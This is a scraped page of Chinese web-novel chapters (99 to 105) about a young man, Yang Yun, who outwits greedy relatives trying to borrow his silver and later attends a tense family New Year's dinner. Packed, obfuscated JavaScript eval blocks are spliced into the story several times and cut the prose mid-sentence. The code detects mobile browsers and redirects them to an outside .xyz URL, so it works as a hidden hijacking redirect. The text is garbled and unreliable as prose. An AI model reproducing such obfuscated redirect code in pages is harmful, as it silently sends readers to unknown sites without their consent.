RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493187|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “昨天我娘把家里的钱都交给我管，你要是只想说说话，那去找她吧。” 这话不是杨云想出来的借口，姜梅知道她心软，昨夜把那五千两银票全给杨云，她身上只留些散碎银子，免得一时心软，真把银子借给别人。 听到银子在杨云手里，冯氏进门的脚步立刻停下，扭捏着坐在杨云旁边那张椅子上。 她仔细观察着杨云的脸色，不停地抽泣着说：“小云，这次你一定要帮帮婶子，不然我们家毁了！” 杨云的眼睛动都没动，看着书上的诗词，漫不经心地问： “婶子，二叔是童生，家里又不缺吃穿，还有什么我能帮忙的地方？” 尽管杨云和杨玉昭势同水火，但两人毕竟是血脉近亲，表面上的和气还是要的。 冯氏哭得更加凄惨，抽抽搭搭地说： “小云，你看到的都是表象，其实这几年你二叔为考秀才，四处访友，参加文会，把家里的银子都花得差不多了……” 杨云心中冷笑一声，他知道，冯氏肯定是为银子来的。 杨云没有拆穿冯氏，只是故作惊讶地说：“啊？考秀才这么花钱？” 冯氏吸吸鼻子，轻轻地点头说： “访友总不能空着手去吧？每次都得带个五六两银子的礼物。文会更加花钱，不仅吃喝不能随便，连用得纸笔墨砚都得上档次，随随便便是几十两银子出去。” 这一点冯氏没有骗人，访友，文会确实很花钱，但那是秀才乃至举人才有资格做的事。 杨玉昭一个童生，连个正式功名都没有，访什么友，文什么会？ 杨云在京城的时候，也参加过几次文会，对这些关窍非常了解，冯氏根本骗不了他。 只是看着冯氏装模作样的样子，他没有戳穿，恍然大悟一样地点点头，配合着说： “原来是这样。” 看着杨云好像真信她的话，冯氏心中暗喜，止住哭声说： “但为考中秀才，花再多的钱都是值得的！” 第99章 戏耍冯氏 第九十九章戏耍冯氏 大盛朝对秀才这样有功名的人，有优免之策，可以说只要考中秀才，那真成老爷了。 只是杨玉昭到底能不能考中秀才，还得打上一个大大的问号。 杨云看着冯氏演戏，随口敷衍着说： “婶子说得没错，等二叔考中秀才这一切都值了。” 冯氏下意识揉揉手中的丝帕，小心翼翼地试探着问： “但……婶子家里已经青黄不接，想从小云你这里借上一些银子，不知能不能行？” 昨天听说杨云姜梅得一千两银子，杨玉昭气得把最爱的官窑青瓷茶盏都砸了。 有这一千两银子，他和杨云之前在祖庙定的一年之约，彻底废了！ 更重要的是，杨云的突然发迹，完美应验清文道长当初之言，那是块风水宝地！ 要是杨玉昭能早点把这块地拿到手中，杨云眼下的福缘，都是他的！ 只可惜他被族里和家里禁足，就算想害杨云，也无从下手。 看到相公气成这个样子，冯氏自告奋勇，要来替他出口气，把杨云那一千两银子借走，算是变相地把他的运气借走。 冯氏才装出一副惨相，不停地哭，为的是让杨云心生同情，把钱借给她。 杨云听到冯氏要借钱，立刻放下手中书本，为难地看着她说：“婶子，我们家刚盖新房，可能没有多余的钱借给你……” 听到杨云的推脱之词，冯氏心中冷哼一声，再次哭起来， “小云，婶子知道你二叔做过对不起你的事，但你二叔已经知道错了！” “婶子请你看在同是一家人的份上，不要说这种推脱之言，帮帮婶子和你二叔吧！” 整个青山村的人都知道，杨云刚得一千两赏银，他说没钱，鬼才信呢！ 杨云似也觉得这个借口太蹩脚，磕磕绊绊地说： “婶子，你……你先别哭好不好？我不是不想帮你，是真有心无力啊。” 听到杨云还在推脱，冯氏哭得更加大声，用近乎嚷嚷的声音说： “小云，你和你二叔都是一家人，身上流着同样的血，你要以家族为重，不能因为之前的一点小事，看着他前途尽毁吧？” 这话明显是用家族来**杨云，要是他不借钱，给他扣个不顾血脉亲情的大帽子。 见冯氏把之前杨玉昭夺自家房产的事，说得这么风轻云淡，杨云强压着怒火问：“婶子，你不要哭，你说你想借多少钱？” 冯氏嘴角泛起一抹笑容，她知道，杨云肯定受不了女人哭！ 她拿着手帕擦干净脸上的泪痕，看着地面轻声说： “其实不用太多，只要一千两足够了。” 一千两，不多不少，正好是村里疯传，杨云得到的赏银数目，冯氏是一点都没给他留。 杨云听得到这个数字，立刻假装惊讶，冲着冯氏说：“什么，这么多？二叔就算考秀才，也用不了这么多吧？” 冯氏听出杨云的口风有些松动，脸盲趁热打铁说： “这一点都不多！你想想，你二叔得办文会结交各种朋友吧？去考秀才，得在县城住店吧？平日他熬夜读书，还得多买点补品，给他补补身子吧？” 杨云装出一副被冯氏说服，但又不想借钱的样子，期期艾艾地说： “这也用不了一千两吧？万一二叔要是考不上，那这银子不打水漂了吗？” 冯氏脸上完全没有忧虑之色，侧头看着杨云说： “你二叔这段时间发奋读书，等到来年开考，必然能考上秀才！” “到时候他还会缺钱？有的是人上赶着给他送钱。” “你借给他一千两，转年能变成一千一百两，甚至是一千两百两！” 杨玉昭到底能不能考中秀才，冯氏当然不知道。 最重要的是，把杨云手里的一千两银子骗出来。 只要银子到手，就算冯氏说得不对，杨云也拿她没办法。 见冯氏拼命画饼，杨云心中冷笑，面上却做出一副激动之色说： “婶子你说得对！我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你要是不借，别怪玉昭考中秀才后，不帮你！” 第100章 又来一个 第一百章又来一个 杨玉昭有可能考中秀才，这是冯氏最大的底牌，她想以此拿捏杨云。 杨云冷冷一笑，不再跟冯氏继续演戏，负手站在原地看着她说： “不借！别说你夫君考中秀才，哪怕考中举人，考中进士，我也用不着你夫君帮忙！” 杨玉昭还是童生的时候，几次三番对杨云下手。 若他考中秀才，会幡然悔悟，不再针对杨云？这种话骗骗小孩子还差不多！ 一朝得势的杨玉昭，肯定会利用功名的优势，把杨云赶出青山村，甚至弄得他家破人亡！ 冯氏所说都是空话，就算到时候反悔，杨云也拿她没有办法。 见到杨云说得这么斩钉截铁，冯氏脸上泛起一丝浓重的恨意，咬着后槽牙指着他说： “杨云，你等着后悔吧！” 说完冯氏拂袖而去，她本想把银子骗过来，没想到却被杨云戏耍一番，心里又气又恨，转身回家琢磨，怎么报复杨云。 看着满地的纸屑，杨云摇摇头，没有打扫，坐回椅子上继续看书，背诗。 冯氏刚走不久，杨玉竹背着手大摇大摆地走进来，他瞥一眼正在看书的杨云，故意咳嗽两声，提醒杨云他来了。 杨云手中的书一低，一双明亮的眼睛露出来，见来人是杨玉竹，心中暗道，又来一个! 但他的脸上立刻装出一副哭相，把书放在一边，上前拉住杨玉竹的胳膊说： “四叔，你来得正好！你要为我做主啊！” 之前杨玉竹想过，杨云看到他，可能会冷嘲热讽，可能会置之不理，甚至赶人也不是不可能。 他唯独没想到，杨云会让他给他做主！ 思忖片刻，杨玉竹觉得这是个机会，只要他给杨云做这个主，那他不好意思拒绝他要钱的事！ 想到这里，杨玉竹连忙挤出一丝关切之色，抓着杨云的手，义正词严地说： “小云，你慢慢跟叔叔说！不管遇到什么事，叔叔一定为你做主！” 杨家在族内是一支大势力，就算是族老家，他们也不是不敢惹。 杨云委屈地点点头，拉着杨玉竹来到那一堆纸屑前，可怜兮兮地说： “刚才二婶来找我借钱，我本来想借给她，没想到银票被老鼠咬成碎渣。但二婶根本不相信，还把我的银票撒了！” “四叔，这是一千两的银票啊，你一定要为我做主，让二婶赔给我啊！” 杨玉竹现下上门，肯定是为银子的事，银票都被扬，借钱的事也无从提起。 杨玉竹眼中闪过一丝恼怒之色，怪不得杨云这小子今天这么谦卑懂事，怪不得冯氏催着他来，原来是在这里等着呢！ 方才杨玉竹在来的时候，恰好在路上碰到冯氏，两家平日里虽然有些不对付，但见面总要打声招呼。 怒不可遏的冯氏见到杨玉竹，觉得她吃亏，杨玉竹也不能跑。 她心里一转，假装从杨云手里借到钱，暗示杨玉竹赶快去找杨云，晚了没了。 现下被架起来以后，杨玉竹才明白过来，冯氏在杨云手里受气，把他拉来当垫背！ 杨玉竹在心里暗暗记冯氏一笔，转头看着干哭不流泪的杨云，强忍着怒意说： “小云，你别哭，一千两银子不是小事，四叔当时又不在场，这个主不能给你做。” “要不然这样，你可以拿着这些银票碎屑去县城告你二婶，以你和知县的关系，说不定能告下来呢！” 若是杨云去告状，摆杨玉竹一道的冯氏会惹上麻烦。 要是他不去告诉，杨玉竹也可以脱身，办法我想了，是你不去做而已。 杨云当然不可能拿这些废纸去告官，假哭着摇摇头说：“还是算了，二婶再怎么都是自家人，对簿公堂不好。” “四叔，你慢走，我不送你了，我还得给我这些银票哭一会儿。” 杨玉竹顺口想答应，但立刻反应过来，正事还没说，差点被杨云糊弄过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504667|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他轻轻咳两声，拍拍杨云的肩膀说；“小云，你先别着急难过，我有件很重要的事和你说。” “你爷爷上年纪，身体不是很好，每个月都要吃不少药材，才能保证不生大病。” “之前买药的钱，是我和二哥出的。你们家因为条件不好，没跟你们要过。” “现下你们家这有钱了，那老爷子吃药所花的银子，你家是不是也该分担一部分？” 杨玉竹比冯氏还狠。 冯氏好歹还提个借字，杨玉竹打着老爷子的旗号要钱，摆明不准备还钱。 最重要的是，杨云还不好拒绝。 杨玉明辞世后，杨云最亲的人除母亲姜梅，那应该是爷爷，杨老爷子。 老爷子上年纪身体不好，买点药吃很正常，要是杨云敢不出钱，或者再拿刚才戏耍冯氏的手段出来，不孝的大帽子立刻扣得严严实实。 杨云心中转好几个念头，收起那一副窝囊样子，看着杨玉竹说： “爷爷身体不好吗？我竟不知道这个事情，四叔你放心，我找郎中给爷爷看病！” 老爷子到底有病没病，郎中来一号脉定然知道。 如果真有病，出钱给他治好！ 反正钱是三家分摊，杨玉昭和杨玉竹想不出都不行。 果不其然，听到杨云要请郎中，杨玉竹连忙抬手拦住他，清清嗓子说： “郎中不用请了，我和二哥之前请过来，大夫给老爷子开着方子，你只要出钱即可，剩下的事，自有下人去办，” 杨云知道他是害怕出钱，故作严肃地说： “四叔，这种事怎么能马虎大意？我觉得，应该每月，不，每旬都请县城最有名的赵神医来给爷爷把脉，确定他的身体情况。” “除吃药之外，什么人参，鹿茸，燕窝，何首乌，各种名贵补品要天天吃！” 杨玉竹听着杨云点出的一样样药材，忍不住头皮发麻，低声念叨，“我的娘啊，这得花多少钱啊！” 第101章 把钱交给我 第一百零一章把钱交给我 药铺最普通的十年人参，一根得五两银子；鹿茸燕窝的价格，也跟人参差不了多少。 如果真按杨云说的办，每天老爷子光是补品，要花十两银子，一个月是三百两。 这么大的开销，别说是杨云，就算整个杨家绑在一起，也支应不起。 杨云听到杨玉竹在心疼钱，绷着脸对杨玉竹说： “只要爷爷能长命百岁，花多少钱都可以！” 杨云住心中暗骂，杨云只有一千两银子，到时候花完，他可以拍拍屁股走人。 但自家里的底子比杨云厚得多，要是他拿老爷子的身体说事，他得把所有家底填进去。 意识到杨云在给他挖一个超级大坑，杨玉竹的目光闪动几下，谨慎地劝解说： “小云，你对老爷子的孝心我知道，但老爷子一向不喜奢靡，你给他买这么多补品，他肯定不吃，你只要拿些药钱诊费即可。” 老爷子是杨玉竹最好用的金字招牌，只要他想说什么，顶着个老爷子的名头就行。 杨云当然不可能把银子给杨玉竹，他思忖片刻皱眉问道： “四叔，这怎么能行呢？老爷子不喜欢，是他不想我们养成大手大脚的习惯。” “现下事关老爷子的身体，咱们这些做子孙的，不管花多少钱都是应该的。” “还有，除买各种名贵补品外，你看咱们把祖宅翻修扩建一下怎么样？再给老爷子买几个丫头，专门照顾他的饮食起居，还有……” 论起享受，整个青山村的人加在一起，也无法跟在侯府生活十八年的杨云相比。 杨玉竹被杨云的恢宏设想说得头皮发麻，连忙打住问道：“停停停！小云，你这么做，得花多少钱？” 杨云抬头斜看半空，心中默算片刻，大大咧咧地说： “前期有个十万两左右差不多了。四叔，我把所有家底一千两都拿出来，你和二叔把剩下的九万九千两都补齐，这样咱们能开工了！” 听到杨云说出十万两这个数字，杨玉竹脸上泛出一丝茫然之色， “小云，你的意思是，我和二哥出九万九千两，把钱交给你？” 杨玉竹依稀记得，他好像是来找杨云要钱的，怎么变成，他拿出几万两交给他？ 看着杨玉竹满脸疑惑的样子，杨云一本正经地说：“修祖宅，买侍女，这都是费心又费力的麻烦事，二叔和四叔放心交给我即可。” “等等，等等，谁说要把钱交给你？” 眼看杨云几乎要把这件事敲定，杨玉竹连忙举手叫停，皱着眉头想一会儿，终于发现，杨云这小子用话术把他给绕进去了！ 要真出这十万两，杨云能拿出一万两用在老爷子身上，就算他有良心！ 剩下那九万两，全会被他用各种名义揣进兜里！ 见杨玉竹反应过来，杨云故作不悦地皱眉看着他，“四叔，难道你不相信我？” 杨玉竹这时候已经被杨云说得脑袋发晕，勉强用最后一丝理智说：“这件事太大，我得回去好好想想，你继续读书吧。” 不等杨云开口，杨玉竹快步跑出姜梅家，生怕多留一会儿，杨云把他的钱忽悠走。 确定杨玉竹离开，姜梅从堂屋走出来，忧心忡忡地看着杨云说： “老爷子身体不好，我们要不要去看看，顺便留点钱给他？” 尽管姜梅和杨玉明成婚的时候，老爷子明确说过不让他们管，但再怎么说那是姜梅的公公，真有病不可能不管。 看目前担忧的样子，杨云风轻云淡地笑笑，宽慰她说：“娘，用不着的。四叔说的话都是幌子，想从咱们这里骗点钱而已。” “上次咱们两个在祖宅见老爷子，他面色红润，中气十足，哪有一点病的样子。” 姜梅想想，还真是这样，她才放心下来，欣慰地看着杨云说： “幸亏有你在家，不然娘这些钱非得全借出去不可。” 冯氏来的时候，姜梅还能勉强分辨，杨玉竹说的那些话，姜梅一下信了。 要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504668|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是把钱交给杨云，姜梅能把一千两银子全都交给杨玉竹。 把杨玉竹和冯氏打发走，陆陆续续又有人来借钱，不是远房伯伯，就是沾亲带故的大姨，一开口是你小时候我抱过你。 杨云表面上笑着点头，实际上心里把白眼都翻到天上去。 他小时候是在天应侯府长大的，有四个专门的奶娘和侍女，他们去哪抱他？ 等攀完关系叙完旧，这些不知道从哪个犄角旮旯，蹦出来的亲戚，开始讲述日子怎么不好过，听说杨云发财，希望他能接济接济。 对这些人，杨云一律是好言相待，但绝不借钱，一般人听到他的口气不对，也走了。 要是死皮赖脸非要留下，杨云和姜梅假装吵架，把人趁机轰走。 这么过六七天，上门借钱的人都知道杨云是个小气鬼，谁也从他那里借不出钱来。 原本络绎不绝的远房亲戚，故交好友终于不来。 杨云长出一口气，天天跟这些借钱的人打交道，把他累得够呛。 在家里休息一天，杨云又回四方村上课，顺便将《试帖诗摘录全集》还给周仲。 看着面前的书，周仲没有接，抬头看着杨云笑着说： “你不用这么着急还，多看两天吧。” 现下周仲对试帖诗有一定造诣，看这本书更多的是借鉴学习，不急在一时。 反倒是杨云的作诗水平很差，这本书留在他手里更有用。 杨云将《试帖诗摘录全集》放在桌上，同样笑着对周仲说： “先生，你忘了我有过目不忘之能吗？这里面的诗我已经都背下来。” 这些天杨云不光应付借钱的‘亲戚朋友’，他们不在的时候也会看书背诗。 周仲听杨云说把诗全背下来，眼中闪过一抹亮色，戏谑地笑着问： “熟读诗词三百首，不会作诗也会吟。你背这么多试帖诗，你作诗的水平可有长进？” 杨云冲着周仲微微拱手，胸有成竹地说：“请先生出题！” 第102章 年关将至 第一百零二章年关将至 见杨云没有像前几天一样犹豫扭捏，周仲知道他肯定是有长足进步，才这么有信心。 他沉吟片刻，忽然看到窗外有暖黄色的阳光照进屋中，心中微微一动有题目， “你以凤鸣朝阳为题，作一首诗吧。” 杨云这些天背不少试帖诗，对作诗的思路极为熟悉，思考一刻钟左右，慢慢吟诵道： “混沌灵凤出，朝阳试啼鸣……” 周仲在一边随手用笔将这首试帖诗记下，等杨云诵完后，慢慢地点头说： “这首诗的水平，比之前作的，强得不是一星半点。” “第一句破题很不错，有种气势磅礴之感，韵脚也都压住，要是你能保持这个水准，应付童生试的试帖诗考试不成问题。” 能在短短数月之内，从不会作试帖诗到可堪入目，杨云的进步水平已经算是神速。 杨云备受鼓舞，脸上满是笑意，他也知道，周仲这个评价已经很不错。 夸过杨云后，周仲又指出这首诗的缺点， “你这首诗的缺点在于，用词太高太远，显得浮夸，要多用典多写实，才能更上一层楼。” 听着周仲的指点，杨云不时点头，觉得他作诗的技法还是太生涩。 两人在屋里讨论一上午的作诗技巧，下午周仲偷懒，将给学生上课的事交给杨云，他在屋里闭门读书，试写精义。 学生们见杨云做老师，以为他会宽松一些，没想到杨云比周仲还严，动不动要打手心罚抄写，弄得他们苦不堪言。 但虞尚熙和宋玉川都知道杨云是为他们好，除悄悄骂几句外，也没做什么。 转眼到腊月二十三，这天好久不见的周仲来到学堂，问过学生的功课后，正式宣布， “学堂从今天开始放春假，直到正月十六正式上课。你们回家后，每日要背诵课文，临摹一篇字帖，开学之后我来检查。” 学生们兴奋地答应下来，大呼小叫地回家去，杨云也跟周仲告别，约定明年再见。 回到家后，姜梅正在祭灶，杨云帮她忙活一番，接下来几天，娘俩扫房子，洗衣服，把家里好好收拾一遍。 腊月二十六这天，姜梅和杨云一起来到县城，买些年货，又割些猪肉，遇到的每个人脸上都带着喜色。 姜梅特意去县城的钱庄，换一两银子的铜钱，又买些红纸，白纸回家。 东西都买齐全后，娘俩回到家，姜梅把红纸裁成合适大小，让杨云写上门神，灶王爷等神仙的名讳，等到三十那天把旧的换掉。 这是杨云在侯府之外过得第一个年，颇为新奇地忙前忙后，等所有东西都安置好，他看着桌上唯一剩下的白纸问道： “娘，这些白纸您买回来干什么？总不能是给我练字吧？” 杨云平日练字的纸都是他买，姜梅从来没有管过。 方才还喜气洋洋的姜梅，脸上忽然闪过一丝忧伤之色，手指轻轻从纸上摸过，轻声和杨云解释说： “今年是你爹走的第一年，按照咱们这边的规矩，春联要用白色的纸写。” 东平县这边的风俗，家中有人辞世，第一年贴白色对联，第二年贴黄色，第三年贴绿色，直到第四年，才可以贴成红色。 有的人为省事或者省钱，干脆三年不贴。 只是姜梅心中思念去世的杨玉明，特意买白纸回来写。 杨云跟杨玉明连面都没见过，心中也没什么悲痛，眼看母亲悲伤，立刻岔开话题， “咱们家的对联让我来写怎么样？我最近的字已经写得很不错呢。” 看着杨云兴奋的样子，姜梅脸上重新泛起笑容， “行，让你写。” 以前过年，姜梅都是去找村里的童生写对联，现下杨云也会写字，那让他动笔好了，还能省下几十文的润笔费。 杨云回屋研墨，很快写一副对联，字迹工整，笔力强健，看起来也不比村里其他童生写得差。 胖婶过来还梯子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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二十九这天，杨云和姜梅正在家里蒸馒头，忽然有人走进院里，杨云以为又是写春联的街坊，在厨房里叫道： “稍等一会儿，我添完这把柴。” 等杨云从厨房出来才发现，来人竟是杨玉竹，他的眼睛转转，嘴角带着笑意说： “四叔，你考虑好，来给我送银子了？” 第103章 老爷子有话 第一百零三章老爷子有话 听到杨云的打趣，杨玉竹的脸上微微红一下，眼神中有羞恼闪过。 一个大人，被杨云的话术绕进去，差点损失几万两银子，这个人丢得太大。 这次若不是老爷子让他来，他在这几个月内见到杨云都得绕道走。 杨玉竹狠狠瞪一眼好整以暇的杨云，用力绷着脸说： “老爷子有话，让你们母子二人，明天到祖宅吃年夜饭，我还有事，先走了。” 话音落下，杨玉竹转身走，他实在是怕杨云嘴里又蹦出什么讥讽之言。 见到杨玉竹想跑，杨云果然在后面笑着招呼说：“四叔，你别着急走啊！馒头马上要蒸好了，你吃个馒头再走！” 杨玉竹假装没听到杨云的话，脚步却越发急促。 上次只是想借钱，已差点被杨云坑走几万两银子，这要是吃他家的馒头，那小子还不得把他讹得骨头渣都不剩。 姜梅见到杨玉竹离开，才从厨房里出来，脸上带着一丝奇怪，喃喃自语地说：“老爷子让我们去祖宅吃年夜饭？这有点不对劲……” 看着姜梅眉头紧皱，杨云歪着头看着母亲问：“娘，一家人在一起吃团圆饭不是很正常吗？难道其中有什么问题？” 之前杨云在天应侯府的时候，每到除夕夜，也是府上所有人都聚在一起吃饭。 一来图个团圆吉祥，二来大家一起吃饭也热闹。 小小杨家，不至于比天应侯府的规矩还要大。 姜梅轻轻地摇头，带着几分愧意对杨云解释说： “当年玉明为娶我，跟老爷子大吵一架，从那以后，我们再没去祖宅吃过年夜饭，每次过年都是在家里。” 这下杨云也感觉有些奇怪，十八年没有去祖宅吃年夜饭，现下老爷子突然派人来请，这里面肯定有古怪。 几乎一瞬，杨云脑海中蹦出一个名字，他低声对母亲说：“难道是二叔想要趁这个机会，把我们害死在祖宅？” 没等姜梅说话，杨云摇摇头否定这个可能， “应该不会，大过年的，还是去吃团圆饭，不会有人选择在这个时候内斗。” 就算杨玉昭有这个想法，老爷子肯定也不会同意。 在大年夜团圆饭上害亲侄子，这要是传出去，整个杨家所有人，后半辈子都抬不起头来。 姜梅心里更加惶恐不安，眼睛转转，胆怯地说： “云儿，要不我们找个借口推掉吧？反正已经十几年没去过，少这一次也没事。” 如果是姜梅，就算是有陷阱她也肯定会去。 丈夫杨玉明虽没有明说，但她心里很清楚，回去跟老爷子一起吃顿饭，这是他心里的一个结。 但儿子也要去，她不能不管不顾，得提前为杨云考虑好才行。 杨云思考片刻，把所有能想到的细节都想一遍，心中终于有决定，“娘，咱们去！我要看看，老爷子这次想干什么。” 上次老爷子叫杨云去祖宅，是为商量开枝散叶的事，结果被杨云用为父守孝挡回去。 这次说不定又是杨玉昭在背后挑唆，但应该不会动手，大不了吵一架回来。 姜梅还在犹豫，杨云又劝几句，才说服她一起去。 第二天，杨云和姜梅把写好的对联贴在门上，又把家里的衣服，床单，被褥全洗一遍。 洗完已经是傍晚，杨云把家里和院子洒扫一遍。 姜梅在厨房里做些饭菜，提前给家里供奉的神仙摆上一份供品，烧香磕头，否则吃完饭回来再烧香，有点太晚。 最后三炷香，姜梅留给丈夫杨玉明，她把香插好后，瞄一眼正在院里洒扫的杨云，脸上带着淡淡的笑容对着杨玉明的牌位说： “玉明，又要过年了。今年咱们家买了不少肉，还有很多年货，可以过个好年。” “有个好事要告诉你，爹今年让咱们回祖宅吃年夜饭，要是你还在的话，肯定很高兴。毕竟你们爷俩已经闹翻那么久，这次正好可以冰释前嫌。” “你在那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冯氏想在嘴皮子上占杨云的便宜，简直是痴心妄想。 听到杨云说她是苍蝇，冯氏脸色一变，坐直身子瞪着杨云大声反问，“杨云，你说谁是苍蝇？你是这么跟长辈说话的吗？” 上次冯氏被杨云戏耍，那是她一时不察。 今天有杨玉昭在场，冯氏的腰杆立刻硬很多。 杨云不慌不忙，冲着冯氏拱手一礼，假装懊恼地说： “二婶你是在跟我说话吗？真是不好意思，刚才有个苍蝇叫得好大声，吵得我都没听见你说什么。” 方才杨云说苍蝇的时候，没有指名道姓，是冯氏非要对号入座不可。 “你……” 冯氏知道中杨云的圈套，拿手指着他的鼻子，却不知道该怎么反驳。 总不能承认，她是杨云说的那只苍蝇吧！ 气恼不过的冯氏，立刻转头看向杨玉昭，你媳妇被人骂，难道你无动于衷？ 杨玉昭将丝棉大袄的袖口拽一下，慢条斯理地看着杨云，淡淡地说： “胡说八道，老爷子今日才吩咐人把这里打扫干净，哪会有什么苍蝇？” “小小年纪信口雌黄，姜氏，你回去得好好管教管教。” 之前杨玉昭在杨云手上吃不少亏，连禁足这个惩罚，也是拜杨云所赐。 但这么多亏不是白吃的，杨玉昭知道杨云不好对付，也知道他有一个非常明显的弱点，姜梅。 只要把所有矛头指向姜梅，杨云立刻会着急。 果不其然，听到杨玉昭教训母亲，杨云鼻中哼一声，看着杨玉昭冷声说： “看来闭门读书，也没让你长进多少，明年你又考不上秀才了。” 没能考中秀才，是杨玉昭心里最大的遗憾听到杨云说得这么直白，他忍不住拍案而起，指着杨云说： “我考不中秀才也比你强，别以为读两天书，能考功名，我看你连个童生也考不上！” 杨玉昭家的两个姑娘一个儿子，听到父亲跟别人吵架，也立刻过来帮忙，叽叽喳喳地说： “我爹说得对，你连童生都考不上！” “这是谁？为什么来咱们家吃年夜饭？快叫下人把他轰走！” 两个姑娘年纪跟杨云差不多大，说起话来又快又急，杨云连话都插不上。 旁边的杨玉竹和媳妇李氏，使劲抿着嘴，生怕笑出声来。 杨云看着面前一家五口，双臂抱起，带着一丝傲然说： “二叔，不是所有人都跟你一样，考个童生都要费那么大力气。” “对你来说难如登天的事，在我看来只是探囊取物。” 听到杨云这么讽刺他蠢，杨玉昭差点一口血喷出来。 他刚准备还嘴，听到后堂有一阵拐杖点地的笃笃声。 老爷子来了。 杨玉昭因为杨元贞的事，让老爷子很恼怒，这时候当然不敢再当着他的面，和杨云争执，只能恨恨地看一眼杨云，把话咽回去。 片刻之后，杨老爷子拄着拐杖在婢女的搀扶下，穿着一件黄色圆领福字袄走进来。 屋里的所有人都站起来，杨玉昭等人冲着杨老爷子行礼，“爹，您来了。” 玩闹的孩子们也都跑过来，规规矩矩地对杨老爷子说：“爷爷好。” 见到一大家子人今天都来，杨老爷子笑得眼睛都看不见，口中连声说： “好好好，今天是大年夜，咱们一家也团团圆圆地吃顿饭。” “玉竹，宴席准备好了吗？” 因为杨玉昭被禁足，杨家的大小事都交给杨玉竹负责。 他上前一步，恭敬地说：“爹，全都准备好了，只等着您老人家来开席呢。” 杨老爷子看着孩子们期望的眼神，笑呵呵地说：“自家人还等什么等，开席！” 一家人全部来到偏厅，两桌子热气腾腾的美味佳肴已经准备好。 杨云和小孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508503|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们坐到门口一桌，杨老爷子和儿子儿媳坐靠里那一桌，老爷子拿起筷子夹第一口后，剩下的人才敢动筷子。 门口这张桌上，杨云和正泰正兴挨着坐，这两人好歹见过一面，剩下的人他完全不认识。 虽然杨玉竹想占杨云的房子没成，对他多有怨气，但正泰正兴这两个十三四岁的孩子完全没受父亲影响，反而因为上次在杨云家吃得挺好，对他颇有好感。 杨正泰夹一大块炖肉，一口吃下，脸上露出满意之色，吃完后对杨云说：“你快吃啊！要不然一会儿被他们吃完了。” 对前十八年都在侯府过春节的杨云，今年的年夜饭显然有些寒酸，但听到杨正泰的劝告，他也从善如流地夹一块鸡肉，放在碗里慢慢吃起来。 杨正兴见杨云吃得这么慢，不由得好奇地问： “我听娘说，你是从京城回来的，京城的人是不是都像你一样，吃饭这么慢？” 听到杨云是从京城回来的，桌上的其他人都竖起耳朵，偷瞄着杨云。 连刚才跟杨云吵架，杨玉昭家的姐弟三个都不例外。 对这些孩子来说，他们去过最繁华的地方是东平县城，听说京城比县城还要繁华百倍，好玩百倍，他们都想知道，京城是什么样子。 见到这么多孩子盯着他，杨云笑呵呵地说： “京城人也有吃得快的，还有特别能吃的，有人一顿酒能吃三四十碗饭。” 桌子上的其他人纷纷露出惊讶之色，他们从来没有想过，有人竟这么能吃。 杨正泰下意识摸摸肚子，若有所思地说： “我平时最多吃四碗饭饱了，那能吃三四十碗的人，是不是吃一顿十顿不用吃了？” 杨玉昭的大女儿杨正春哼一声，翻个白眼低声说：“吹牛！” 这桌上有个看起来年龄最长，努力装作沉稳老成模样的青年，听到杨正春的话，笑着说： “京城藏龙卧虎，能人奇士极多，有这种人也不奇怪。杨云堂弟，应该不是在吹牛。” 第105章 有话要说 第一百零五章有话要说 